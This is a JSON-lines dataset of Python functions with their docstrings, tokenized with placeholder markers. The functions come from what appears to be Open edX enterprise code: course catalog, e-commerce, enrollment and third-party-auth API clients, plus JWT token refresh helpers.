{"signature": "@property<EOL><INDENT>def enterprise_customer_uuid(self):<DEDENT>", "body": "try:<EOL><INDENT>enterprise_user = EnterpriseCustomerUser.objects.get(user_id=self.user.id)<EOL><DEDENT>except ObjectDoesNotExist:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'.format(<EOL>self.__class__,<EOL>self.user.id<EOL>))<EOL>return None<EOL><DEDENT>except MultipleObjectsReturned:<EOL><INDENT>LOGGER.warning(<EOL>'<STR_LIT>'.format(self.user.id)<EOL>)<EOL>return None<EOL><DEDENT>return str(enterprise_user.enterprise_customer.uuid)<EOL>", "docstring": "Get the enterprise customer uuid linked to the user.", "id": "f16090:c14:m0"}
{"signature": "def get_context(self):", "body": "return self.enterprise_customer_uuid<EOL>", "docstring": "Return the context for this role assignment class.", "id": "f16090:c14:m1"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(role=self.name)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c15:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c15:m1"}
{"signature": "def get_context(self):", "body": "<EOL>if self.role.name == ENTERPRISE_OPERATOR_ROLE:<EOL><INDENT>return ALL_ACCESS_CONTEXT<EOL><DEDENT>return super(SystemWideEnterpriseUserRoleAssignment, self).get_context()<EOL>", "docstring": "Return the context for this role assignment class.", "id": "f16090:c16:m0"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>user=self.user.id,<EOL>role=self.role.name<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c16:m1"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c16:m2"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(role=self.name)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c17:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c17:m1"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>user=self.user.id,<EOL>role=self.role.name<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16090:c18:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16090:c18:m1"}
{"signature": "def course_discovery_api_client(user, catalog_url):", "body": "if JwtBuilder is None:<EOL><INDENT>raise NotConnectedToOpenEdX(<EOL>_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL><DEDENT>jwt = JwtBuilder.create_jwt_for_user(user)<EOL>return EdxRestApiClient(catalog_url, jwt=jwt)<EOL>", "docstring": "Return a Course Discovery API client setup with authentication for the specified user.", "id": "f16091:m0"}
{"signature": "def __init__(self, user, site=None):", "body": "if CatalogIntegration is None:<EOL><INDENT>raise NotConnectedToOpenEdX(<EOL>_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL><DEDENT>if get_edx_api_data is None:<EOL><INDENT>raise NotConnectedToOpenEdX(<EOL>_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL><DEDENT>self.user = user<EOL>self.catalog_url = get_configuration_value_for_site(<EOL>site,<EOL>'<STR_LIT>',<EOL>settings.COURSE_CATALOG_API_URL<EOL>)<EOL>self.client = course_discovery_api_client(user, self.catalog_url)<EOL>", "docstring": "Create an Course Catalog API client setup with authentication for the specified user.\n\nThis method retrieves an authenticated API client that can be used\nto access the course catalog API. It raises an exception to be caught at\na higher level if the package doesn't have OpenEdX resources available.", "id": "f16091:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def traverse_pagination(response, endpoint, content_filter_query, query_params):<DEDENT>", "body": "results = response.get('<STR_LIT>', [])<EOL>page = <NUM_LIT:1><EOL>while response.get('<STR_LIT>'):<EOL><INDENT>page += <NUM_LIT:1><EOL>response = endpoint().post(content_filter_query, **dict(query_params, page=page))<EOL>results += response.get('<STR_LIT>', [])<EOL><DEDENT>return results<EOL>", "docstring": "Traverse a paginated API response and extracts and concatenates \"results\" returned by API.\n\nArguments:\n    response (dict): API response object.\n    endpoint (Slumber.Resource): API endpoint object.\n    content_filter_query (dict): query parameters used to filter catalog results.\n    query_params (dict): query parameters used to paginate results.\n\nReturns:\n    list: all the results returned by the API.", "id": "f16091:c0:m1"}
{"signature": "def get_catalog_results(self, content_filter_query, query_params=None, traverse_pagination=False):", "body": "query_params = query_params or {}<EOL>try:<EOL><INDENT>endpoint = getattr(self.client, self.SEARCH_ALL_ENDPOINT)<EOL>response = endpoint().post(data=content_filter_query, **query_params)<EOL>if traverse_pagination:<EOL><INDENT>response['<STR_LIT>'] = self.traverse_pagination(response, endpoint, content_filter_query, query_params)<EOL>response['<STR_LIT>'] = response['<STR_LIT>'] = None<EOL><DEDENT><DEDENT>except Exception as ex:  <EOL><INDENT>LOGGER.exception(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>content_filter_query,<EOL>query_params,<EOL>traverse_pagination,<EOL>getattr(ex, '<STR_LIT:content>', '<STR_LIT>')<EOL>)<EOL>raise ex<EOL><DEDENT>return response<EOL>", "docstring": "Return results from the discovery service's search/all endpoint.\n\nArguments:\n    content_filter_query (dict): query parameters used to filter catalog results.\n    query_params (dict): query parameters used to paginate results.\n    traverse_pagination (bool): True to return all results, False to return the paginated response.\n                                Defaults to False.\n\nReturns:\n    dict: Paginated response or all the records.", "id": "f16091:c0:m2"}
{"signature": "def get_all_catalogs(self):", "body": "return self._load_data(<EOL>self.CATALOGS_ENDPOINT,<EOL>default=[]<EOL>)<EOL>", "docstring": "Return a list of all course catalogs, including name and ID.\n\nReturns:\n    list: List of catalogs available for the user.", "id": "f16091:c0:m3"}
{"signature": "def get_catalog(self, catalog_id):", "body": "return self._load_data(<EOL>self.CATALOGS_ENDPOINT,<EOL>default=[],<EOL>resource_id=catalog_id<EOL>)<EOL>", "docstring": "Return specified course catalog.\n\nReturns:\n    dict: catalog details if it is available for the user.", "id": "f16091:c0:m4"}
{"signature": "def get_paginated_catalog_courses(self, catalog_id, querystring=None):", "body": "return self._load_data(<EOL>self.CATALOGS_COURSES_ENDPOINT.format(catalog_id),<EOL>default=[],<EOL>querystring=querystring,<EOL>traverse_pagination=False,<EOL>many=False,<EOL>)<EOL>", "docstring": "Return paginated response for all catalog courses.\n\nReturns:\n    dict: API response with links to next and previous pages.", "id": "f16091:c0:m5"}
{"signature": "def get_paginated_catalogs(self, querystring=None):", "body": "return self._load_data(<EOL>self.CATALOGS_ENDPOINT,<EOL>default=[],<EOL>querystring=querystring,<EOL>traverse_pagination=False,<EOL>many=False<EOL>)<EOL>", "docstring": "Return a paginated list of course catalogs, including name and ID.\n\nReturns:\n    dict: Paginated response containing catalogs available for the user.", "id": "f16091:c0:m6"}
{"signature": "def get_catalog_courses(self, catalog_id):", "body": "return self._load_data(<EOL>self.CATALOGS_COURSES_ENDPOINT.format(catalog_id),<EOL>default=[]<EOL>)<EOL>", "docstring": "Return the courses included in a single course catalog by ID.\n\nArgs:\n    catalog_id (int): The catalog ID we want to retrieve.\n\nReturns:\n    list: Courses of the catalog in question", "id": "f16091:c0:m7"}
{"signature": "def get_course_and_course_run(self, course_run_id):", "body": "<EOL>course_id = parse_course_key(course_run_id)<EOL>course = self.get_course_details(course_id)<EOL>course_run = None<EOL>if course:<EOL><INDENT>course_run = None<EOL>course_runs = [course_run for course_run in course['<STR_LIT>'] if course_run['<STR_LIT:key>'] == course_run_id]<EOL>if course_runs:<EOL><INDENT>course_run = course_runs[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return course, course_run<EOL>", "docstring": "Return the course and course run metadata for the given course run ID.\n\nArguments:\n    course_run_id (str): The course run ID.\n\nReturns:\n    tuple: The course metadata and the course run metadata.", "id": "f16091:c0:m8"}
{"signature": "def get_course_details(self, course_id):", "body": "return self._load_data(<EOL>self.COURSES_ENDPOINT,<EOL>resource_id=course_id,<EOL>many=False<EOL>)<EOL>", "docstring": "Return the details of a single course by id - not a course run id.\n\nArgs:\n    course_id (str): The unique id for the course in question.\n\nReturns:\n    dict: Details of the course in question.", "id": "f16091:c0:m9"}
{"signature": "def get_course_run(self, course_run_id):", "body": "return self._load_data(<EOL>self.COURSE_RUNS_ENDPOINT,<EOL>resource_id=course_run_id<EOL>)<EOL>", "docstring": "Return course_run data, including name, ID and seats.\n\nArgs:\n    course_run_id(string): Course run ID (aka Course Key) in string format.\n\nReturns:\n    dict: Course run data provided by Course Catalog API.", "id": "f16091:c0:m10"}
{"signature": "def get_program_by_title(self, program_title):", "body": "all_programs = self._load_data(self.PROGRAMS_ENDPOINT, default=[])<EOL>matching_programs = [program for program in all_programs if program.get('<STR_LIT:title>') == program_title]<EOL>if len(matching_programs) > <NUM_LIT:1>:<EOL><INDENT>raise MultipleProgramMatchError(len(matching_programs))<EOL><DEDENT>elif len(matching_programs) == <NUM_LIT:1>:<EOL><INDENT>return matching_programs[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return single program by name, or None if not found.\n\nArguments:\n    program_title(string): Program title as seen by students and in Course Catalog Admin\n\nReturns:\n    dict: Program data provided by Course Catalog API", "id": "f16091:c0:m11"}
{"signature": "def get_program_by_uuid(self, program_uuid):", "body": "return self._load_data(<EOL>self.PROGRAMS_ENDPOINT,<EOL>resource_id=program_uuid,<EOL>default=None<EOL>)<EOL>", "docstring": "Return single program by UUID, or None if not found.\n\nArguments:\n    program_uuid(string): Program UUID in string form\n\nReturns:\n    dict: Program data provided by Course Catalog API", "id": "f16091:c0:m12"}
{"signature": "def get_program_course_keys(self, program_uuid):", "body": "program_details = self.get_program_by_uuid(program_uuid)<EOL>if not program_details:<EOL><INDENT>return []<EOL><DEDENT>return [course['<STR_LIT:key>'] for course in program_details.get('<STR_LIT>', [])]<EOL>", "docstring": "Get a list of the course IDs (not course run IDs) contained in the program.\n\nArguments:\n    program_uuid (str): Program UUID in string form\n\nReturns:\n    list(str): List of course keys in string form that are included in the program", "id": "f16091:c0:m13"}
{"signature": "def get_program_type_by_slug(self, slug):", "body": "return self._load_data(<EOL>self.PROGRAM_TYPES_ENDPOINT,<EOL>resource_id=slug,<EOL>default=None,<EOL>)<EOL>", "docstring": "Get a program type by its slug.\n\nArguments:\n    slug (str): The slug to identify the program type.\n\nReturns:\n    dict: A program type object.", "id": "f16091:c0:m14"}
{"signature": "def get_common_course_modes(self, course_run_ids):", "body": "available_course_modes = None<EOL>for course_run_id in course_run_ids:<EOL><INDENT>course_run = self.get_course_run(course_run_id) or {}<EOL>course_run_modes = {seat.get('<STR_LIT:type>') for seat in course_run.get('<STR_LIT>', [])}<EOL>if available_course_modes is None:<EOL><INDENT>available_course_modes = course_run_modes<EOL><DEDENT>else:<EOL><INDENT>available_course_modes &= course_run_modes<EOL><DEDENT>if not available_course_modes:<EOL><INDENT>return available_course_modes<EOL><DEDENT><DEDENT>return available_course_modes<EOL>", "docstring": "Find common course modes for a set of course runs.\n\nThis function essentially returns an intersection of types of seats available\nfor each course run.\n\nArguments:\n    course_run_ids(Iterable[str]): Target Course run IDs.\n\nReturns:\n    set: course modes found in all given course runs\n\nExamples:\n    # run1 has prof and audit, run 2 has the same\n    get_common_course_modes(['course-v1:run1', 'course-v1:run2'])\n    {'prof', 'audit'}\n\n    # run1 has prof and audit, run 2 has only prof\n    get_common_course_modes(['course-v1:run1', 'course-v1:run2'])\n    {'prof'}\n\n    # run1 has prof and audit, run 2 honor\n    get_common_course_modes(['course-v1:run1', 'course-v1:run2'])\n    {}\n\n    # run1 has nothing, run2 has prof\n    get_common_course_modes(['course-v1:run1', 'course-v1:run2'])\n    {}\n\n    # run1 has prof and audit, run 2 prof, run3 has audit\n    get_common_course_modes(['course-v1:run1', 'course-v1:run2', 'course-v1:run3'])\n    {}\n\n    # run1 has nothing, run 2 prof, run3 has prof\n    get_common_course_modes(['course-v1:run1', 'course-v1:run2', 'course-v1:run3'])\n    {}", "id": "f16091:c0:m15"}
{"signature": "def is_course_in_catalog(self, catalog_id, course_id):", "body": "try:<EOL><INDENT>course_run_id = str(CourseKey.from_string(course_id))<EOL><DEDENT>except InvalidKeyError:<EOL><INDENT>course_run_id = None<EOL><DEDENT>endpoint = self.client.catalogs(catalog_id).contains<EOL>if course_run_id:<EOL><INDENT>resp = endpoint.get(course_run_id=course_run_id)<EOL><DEDENT>else:<EOL><INDENT>resp = endpoint.get(course_id=course_id)<EOL><DEDENT>return resp.get('<STR_LIT>', {}).get(course_id, False)<EOL>", "docstring": "Determine if the given course or course run ID is contained in the catalog with the given ID.\n\nArgs:\n    catalog_id (int): The ID of the catalog\n    course_id (str): The ID of the course or course run\n\nReturns:\n    bool: Whether the course or course run is contained in the given catalog", "id": "f16091:c0:m16"}
{"signature": "def _load_data(self, resource, default=DEFAULT_VALUE_SAFEGUARD, **kwargs):", "body": "default_val = default if default != self.DEFAULT_VALUE_SAFEGUARD else {}<EOL>try:<EOL><INDENT>return get_edx_api_data(<EOL>api_config=CatalogIntegration.current(),<EOL>resource=resource,<EOL>api=self.client,<EOL>**kwargs<EOL>) or default_val<EOL><DEDENT>except (SlumberBaseException, ConnectionError, Timeout) as exc:<EOL><INDENT>LOGGER.exception(<EOL>'<STR_LIT>',<EOL>resource, kwargs, str(exc)<EOL>)<EOL>return default_val<EOL><DEDENT>", "docstring": "Load data from API client.\n\nArguments:\n    resource(string): type of resource to load\n    default(any): value to return if API query returned empty result. Sensible values: [], {}, None etc.\n\nReturns:\n    dict: Deserialized response from Course Catalog API", "id": "f16091:c0:m17"}
{"signature": "def __init__(self, site=None):", "body": "if CatalogIntegration is None:<EOL><INDENT>raise NotConnectedToOpenEdX(<EOL>_(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>)<EOL><DEDENT>catalog_integration = CatalogIntegration.current()<EOL>if catalog_integration.enabled:<EOL><INDENT>try:<EOL><INDENT>user = catalog_integration.get_service_user()<EOL>super(CourseCatalogApiServiceClient, self).__init__(user, site)<EOL><DEDENT>except ObjectDoesNotExist:<EOL><INDENT>raise ImproperlyConfigured(_(\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ImproperlyConfigured(_(\"<STR_LIT>\"))<EOL><DEDENT>", "docstring": "Create an Course Catalog API client setup with authentication for the\nconfigured catalog service user.", "id": "f16091:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def program_exists(cls, program_uuid):<DEDENT>", "body": "try:<EOL><INDENT>return bool(cls().get_program_by_uuid(program_uuid))<EOL><DEDENT>except ImproperlyConfigured:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Get whether the program exists or not.", "id": "f16091:c1:m1"}
{"signature": "def __init__(self, user):", "body": "if ecommerce_api_client is None:<EOL><INDENT>raise NotConnectedToOpenEdX(<EOL>_('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>)<EOL><DEDENT>self.user = user<EOL>self.client = ecommerce_api_client(user)<EOL>", "docstring": "Create an E-Commerce API client, authenticated with the API token from Django settings.\n\nThis method retrieves an authenticated API client that can be used\nto access the ecommerce API. It raises an exception to be caught at\na higher level if the package doesn't have OpenEdX resources available.", "id": "f16092:c0:m0"}
{"signature": "def get_course_final_price(self, mode, currency='<STR_LIT:$>', enterprise_catalog_uuid=None):", "body": "try:<EOL><INDENT>price_details = self.client.baskets.calculate.get(<EOL>sku=[mode['<STR_LIT>']],<EOL>username=self.user.username,<EOL>catalog=enterprise_catalog_uuid,<EOL>)<EOL><DEDENT>except (SlumberBaseException, ConnectionError, Timeout) as exc:<EOL><INDENT>LOGGER.exception('<STR_LIT>', mode['<STR_LIT>'], str(exc))<EOL>price_details = {}<EOL><DEDENT>price = price_details.get('<STR_LIT>', mode['<STR_LIT>'])<EOL>if price != mode['<STR_LIT>']:<EOL><INDENT>return format_price(price, currency)<EOL><DEDENT>return mode['<STR_LIT>']<EOL>", "docstring": "Get course mode's SKU discounted price after applying any entitlement available for this user.\n\nReturns:\n    str: Discounted price of the course mode.", "id": "f16092:c0:m1"}
{"signature": "def get_content_metadata(self, enterprise_customer):", "body": "content_metadata = OrderedDict()<EOL>if enterprise_customer.catalog:<EOL><INDENT>response = self._load_data(<EOL>self.ENTERPRISE_CUSTOMER_ENDPOINT,<EOL>detail_resource='<STR_LIT>',<EOL>resource_id=str(enterprise_customer.uuid),<EOL>traverse_pagination=True,<EOL>)<EOL>for course in response['<STR_LIT>']:<EOL><INDENT>for course_run in course['<STR_LIT>']:<EOL><INDENT>course_run['<STR_LIT>'] = '<STR_LIT>'  <EOL>content_metadata[course_run['<STR_LIT:key>']] = course_run<EOL><DEDENT><DEDENT><DEDENT>for enterprise_customer_catalog in enterprise_customer.enterprise_customer_catalogs.all():<EOL><INDENT>response = self._load_data(<EOL>self.ENTERPRISE_CUSTOMER_CATALOGS_ENDPOINT,<EOL>resource_id=str(enterprise_customer_catalog.uuid),<EOL>traverse_pagination=True,<EOL>querystring={'<STR_LIT>': <NUM_LIT:1000>},<EOL>)<EOL>for item in response['<STR_LIT>']:<EOL><INDENT>content_id = utils.get_content_metadata_item_id(item)<EOL>content_metadata[content_id] = item<EOL><DEDENT><DEDENT>return content_metadata.values()<EOL>", "docstring": "Return all content metadata contained in the catalogs associated with the EnterpriseCustomer.\n\nArguments:\n    enterprise_customer (EnterpriseCustomer): The EnterpriseCustomer to return content metadata for.\n\nReturns:\n    list: List of dicts containing content metadata.", "id": "f16093:c0:m0"}
{"signature": "@JwtLmsApiClient.refresh_token<EOL><INDENT>def _load_data(<EOL>self,<EOL>resource,<EOL>detail_resource=None,<EOL>resource_id=None,<EOL>querystring=None,<EOL>traverse_pagination=False,<EOL>default=DEFAULT_VALUE_SAFEGUARD,<EOL>):<DEDENT>", "body": "default_val = default if default != self.DEFAULT_VALUE_SAFEGUARD else {}<EOL>querystring = querystring if querystring else {}<EOL>cache_key = utils.get_cache_key(<EOL>resource=resource,<EOL>querystring=querystring,<EOL>traverse_pagination=traverse_pagination,<EOL>resource_id=resource_id<EOL>)<EOL>response = cache.get(cache_key)<EOL>if not response:<EOL><INDENT>endpoint = getattr(self.client, resource)(resource_id)<EOL>endpoint = getattr(endpoint, detail_resource) if detail_resource else endpoint<EOL>response = endpoint.get(**querystring)<EOL>if traverse_pagination:<EOL><INDENT>results = utils.traverse_pagination(response, endpoint)<EOL>response = {<EOL>'<STR_LIT:count>': len(results),<EOL>'<STR_LIT>': '<STR_LIT:None>',<EOL>'<STR_LIT>': '<STR_LIT:None>',<EOL>'<STR_LIT>': results,<EOL>}<EOL><DEDENT>if response:<EOL><INDENT>cache.set(cache_key, response, settings.ENTERPRISE_API_CACHE_TIMEOUT)<EOL><DEDENT><DEDENT>return response or default_val<EOL>", "docstring": "Loads a response from a call to one of the Enterprise endpoints.\n\n:param resource: The endpoint resource name.\n:param detail_resource: The sub-resource to append to the path.\n:param resource_id: The resource ID for the specific detail to get from the endpoint.\n:param querystring: Optional query string parameters.\n:param traverse_pagination: Whether to traverse pagination or return paginated response.\n:param default: The default value to return in case of no response content.\n:return: Data returned by the API.", "id": "f16093:c0:m1"}
{"signature": "def parse_lms_api_datetime(datetime_string, datetime_format=LMS_API_DATETIME_FORMAT):", "body": "if isinstance(datetime_string, datetime.datetime):<EOL><INDENT>date_time = datetime_string<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>date_time = datetime.datetime.strptime(datetime_string, datetime_format)<EOL><DEDENT>except ValueError:<EOL><INDENT>date_time = datetime.datetime.strptime(datetime_string, LMS_API_DATETIME_FORMAT_WITHOUT_TIMEZONE)<EOL><DEDENT><DEDENT>if date_time.tzinfo is None:<EOL><INDENT>date_time = date_time.replace(tzinfo=timezone.utc)<EOL><DEDENT>return date_time<EOL>", "docstring": "Parse a received datetime into a timezone-aware, Python datetime object.\n\nArguments:\n    datetime_string: A string to be parsed.\n    datetime_format: A datetime format string to be used for parsing", "id": "f16094:m0"}
{"signature": "def __init__(self):", "body": "session = Session()<EOL>session.headers = {\"<STR_LIT>\": settings.EDX_API_KEY}<EOL>self.client = EdxRestApiClient(<EOL>self.API_BASE_URL, append_slash=self.APPEND_SLASH, session=session<EOL>)<EOL>", "docstring": "Create an LMS API client, authenticated with the API token from Django settings.", "id": "f16094:c0:m0"}
{"signature": "def __init__(self, user, expires_in=settings.OAUTH_ID_TOKEN_EXPIRATION):", "body": "self.user = user<EOL>self.expires_in = expires_in<EOL>self.expires_at = <NUM_LIT:0><EOL>self.client = None<EOL>", "docstring": "Connect to the REST API.", "id": "f16094:c1:m0"}
{"signature": "def connect(self):", "body": "if JwtBuilder is None:<EOL><INDENT>raise NotConnectedToOpenEdX(\"<STR_LIT>\")<EOL><DEDENT>now = int(time())<EOL>jwt = JwtBuilder.create_jwt_for_user(self.user)<EOL>self.client = EdxRestApiClient(<EOL>self.API_BASE_URL, append_slash=self.APPEND_SLASH, jwt=jwt,<EOL>)<EOL>self.expires_at = now + self.expires_in<EOL>", "docstring": "Connect to the REST API, authenticating with a JWT for the current user.", "id": "f16094:c1:m1"}
{"signature": "def token_expired(self):", "body": "return int(time()) > self.expires_at<EOL>", "docstring": "Return True if the JWT token has expired, False if not.", "id": "f16094:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def refresh_token(func):<DEDENT>", "body": "@wraps(func)<EOL>def inner(self, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if self.token_expired():<EOL><INDENT>self.connect()<EOL><DEDENT>return func(self, *args, **kwargs)<EOL><DEDENT>return inner<EOL>", "docstring": "Use this method decorator to ensure the JWT token is refreshed when needed.", "id": "f16094:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def redirect_if_blocked(course_run_ids, user=None, ip_address=None, url=None):<DEDENT>", "body": "for course_run_id in course_run_ids:<EOL><INDENT>redirect_url = embargo_api.redirect_if_blocked(<EOL>CourseKey.from_string(course_run_id),<EOL>user=user,<EOL>ip_address=ip_address,<EOL>url=url<EOL>)<EOL>if redirect_url:<EOL><INDENT>return redirect_url<EOL><DEDENT><DEDENT>", "docstring": "Return redirect to embargo error page if the given user is blocked.", "id": "f16094:c2:m0"}
{"signature": "def get_course_details(self, course_id):", "body": "try:<EOL><INDENT>return self.client.course(course_id).get()<EOL><DEDENT>except (SlumberBaseException, ConnectionError, Timeout) as exc:<EOL><INDENT>LOGGER.exception(<EOL>'<STR_LIT>',<EOL>course_id, str(exc)<EOL>)<EOL>return {}<EOL><DEDENT>", "docstring": "Query the Enrollment API for the course details of the given course_id.\n\nArgs:\n    course_id (str): The string value of the course's unique identifier\n\nReturns:\n    dict: A dictionary containing details about the course, in an enrollment context (allowed modes, etc.)", "id": "f16094:c3:m0"}
{"signature": "def _sort_course_modes(self, modes):", "body": "def slug_weight(mode):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>sorting_slugs = COURSE_MODE_SORT_ORDER<EOL>sorting_slugs_size = len(sorting_slugs)<EOL>if mode['<STR_LIT>'] in sorting_slugs:<EOL><INDENT>return sorting_slugs_size - sorting_slugs.index(mode['<STR_LIT>'])<EOL><DEDENT>return <NUM_LIT:0><EOL><DEDENT>return sorted(modes, key=slug_weight, reverse=True)<EOL>", "docstring": "Sort the course mode dictionaries by slug according to the COURSE_MODE_SORT_ORDER constant.\n\nArguments:\n    modes (list): A list of course mode dictionaries.\nReturns:\n    list: A list with the course modes dictionaries sorted by slug.", "id": "f16094:c3:m1"}
{"signature": "def get_course_modes(self, course_id):", "body": "details = self.get_course_details(course_id)<EOL>modes = details.get('<STR_LIT>', [])<EOL>return self._sort_course_modes([mode for mode in modes if mode['<STR_LIT>'] not in EXCLUDED_COURSE_MODES])<EOL>", "docstring": "Query the Enrollment API for the specific course modes that are available for the given course_id.\n\nArguments:\n    course_id (str): The string value of the course's unique identifier\n\nReturns:\n    list: A list of course mode dictionaries.", "id": "f16094:c3:m2"}
{"signature": "def has_course_mode(self, course_run_id, mode):", "body": "course_modes = self.get_course_modes(course_run_id)<EOL>return any(course_mode for course_mode in course_modes if course_mode['<STR_LIT>'] == mode)<EOL>", "docstring": "Query the Enrollment API to see whether a course run has a given course mode available.\n\nArguments:\n    course_run_id (str): The string value of the course run's unique identifier\n\nReturns:\n    bool: Whether the course run has the given mode avaialble for enrollment.", "id": "f16094:c3:m3"}
{"signature": "def enroll_user_in_course(self, username, course_id, mode, cohort=None):", "body": "return self.client.enrollment.post(<EOL>{<EOL>'<STR_LIT:user>': username,<EOL>'<STR_LIT>': {'<STR_LIT>': course_id},<EOL>'<STR_LIT>': mode,<EOL>'<STR_LIT>': cohort,<EOL>}<EOL>)<EOL>", "docstring": "Call the enrollment API to enroll the user in the course specified by course_id.\n\nArgs:\n    username (str): The username by which the user goes on the OpenEdX platform\n    course_id (str): The string value of the course's unique identifier\n    mode (str): The enrollment mode which should be used for the enrollment\n    cohort (str): Add the user to this named cohort\n\nReturns:\n    dict: A dictionary containing details of the enrollment, including course details, mode, username, etc.", "id": "f16094:c3:m4"}
{"signature": "def unenroll_user_from_course(self, username, course_id):", "body": "enrollment = self.get_course_enrollment(username, course_id)<EOL>if enrollment and enrollment['<STR_LIT>']:<EOL><INDENT>response = self.client.enrollment.post({<EOL>'<STR_LIT:user>': username,<EOL>'<STR_LIT>': {'<STR_LIT>': course_id},<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': enrollment['<STR_LIT>']<EOL>})<EOL>return not response['<STR_LIT>']<EOL><DEDENT>return False<EOL>", "docstring": "Call the enrollment API to unenroll the user in the course specified by course_id.\nArgs:\n    username (str): The username by which the user goes on the OpenEdx platform\n    course_id (str): The string value of the course's unique identifier\nReturns:\n    bool: Whether the unenrollment succeeded", "id": "f16094:c3:m5"}
{"signature": "def get_course_enrollment(self, username, course_id):", "body": "endpoint = getattr(<EOL>self.client.enrollment,<EOL>'<STR_LIT>'.format(username=username, course_id=course_id)<EOL>)<EOL>try:<EOL><INDENT>result = endpoint.get()<EOL><DEDENT>except HttpNotFoundError:<EOL><INDENT>LOGGER.error(<EOL>'<STR_LIT>',<EOL>username,<EOL>course_id<EOL>)<EOL>return None<EOL><DEDENT>if not result:<EOL><INDENT>LOGGER.info('<STR_LIT>', username, course_id)<EOL>return None<EOL><DEDENT>return result<EOL>", "docstring": "Query the enrollment API to get information about a single course enrollment.\n\nArgs:\n    username (str): The username by which the user goes on the OpenEdX platform\n    course_id (str): The string value of the course's unique identifier\n\nReturns:\n    dict: A dictionary containing details of the enrollment, including course details, mode, username, etc.", "id": "f16094:c3:m6"}
{"signature": "def is_enrolled(self, username, course_run_id):", "body": "enrollment = self.get_course_enrollment(username, course_run_id)<EOL>return enrollment is not None and enrollment.get('<STR_LIT>', False)<EOL>", "docstring": "Query the enrollment API and determine if a learner is enrolled in a course run.\n\nArgs:\n    username (str): The username by which the user goes on the OpenEdX platform\n    course_run_id (str): The string value of the course's unique identifier\n\nReturns:\n    bool: Indicating whether the user is enrolled in the course run. Returns False under any errors.", "id": "f16094:c3:m7"}
{"signature": "def get_enrolled_courses(self, username):", "body": "return self.client.enrollment.get(user=username)<EOL>", "docstring": "Query the enrollment API to get a list of the courses a user is enrolled in.\n\nArgs:\n    username (str): The username by which the user goes on the OpenEdX platform\n\nReturns:\n    list: A list of course objects, along with relevant user-specific enrollment details.", "id": "f16094:c3:m8"}
{"signature": "def get_course_details(self, course_id):", "body": "try:<EOL><INDENT>return self.client.courses(course_id).get()<EOL><DEDENT>except (SlumberBaseException, ConnectionError, Timeout) as exc:<EOL><INDENT>LOGGER.exception('<STR_LIT>', course_id, str(exc))<EOL>return None<EOL><DEDENT>", "docstring": "Retrieve all available details about a course.\n\nArgs:\n    course_id (str): The course ID identifying the course for which to retrieve details.\n\nReturns:\n    dict: Contains keys identifying those course details available from the courses API (e.g., name).", "id": "f16094:c4:m0"}
{"signature": "def get_remote_id(self, identity_provider, username):", "body": "return self._get_results(identity_provider, '<STR_LIT:username>', username, '<STR_LIT>')<EOL>", "docstring": "Retrieve the remote identifier for the given username.\n\nArgs:\n* ``identity_provider`` (str): identifier slug for the third-party authentication service used during SSO.\n* ``username`` (str): The username ID identifying the user for which to retrieve the remote name.\n\nReturns:\n    string or None: the remote name of the given user.  None if not found.", "id": "f16094:c5:m0"}
{"signature": "def get_username_from_remote_id(self, identity_provider, remote_id):", "body": "return self._get_results(identity_provider, '<STR_LIT>', remote_id, '<STR_LIT:username>')<EOL>", "docstring": "Retrieve the remote identifier for the given username.\n\nArgs:\n* ``identity_provider`` (str): identifier slug for the third-party authentication service used during SSO.\n* ``remote_id`` (str): The remote id identifying the user for which to retrieve the usernamename.\n\nReturns:\n    string or None: the username of the given user.  None if not found.", "id": "f16094:c5:m1"}
{"signature": "def _get_results(self, identity_provider, param_name, param_value, result_field_name):", "body": "try:<EOL><INDENT>kwargs = {param_name: param_value}<EOL>returned = self.client.providers(identity_provider).users.get(**kwargs)<EOL>results = returned.get('<STR_LIT>', [])<EOL><DEDENT>except HttpNotFoundError:<EOL><INDENT>LOGGER.error(<EOL>'<STR_LIT>'.format(<EOL>provider=identity_provider,<EOL>querystring_param=param_name,<EOL>id=param_value<EOL>)<EOL>)<EOL>results = []<EOL><DEDENT>for row in results:<EOL><INDENT>if row.get(param_name) == param_value:<EOL><INDENT>return row.get(result_field_name)<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Calls the third party auth api endpoint to get the mapping between usernames and remote ids.", "id": "f16094:c5:m2"}
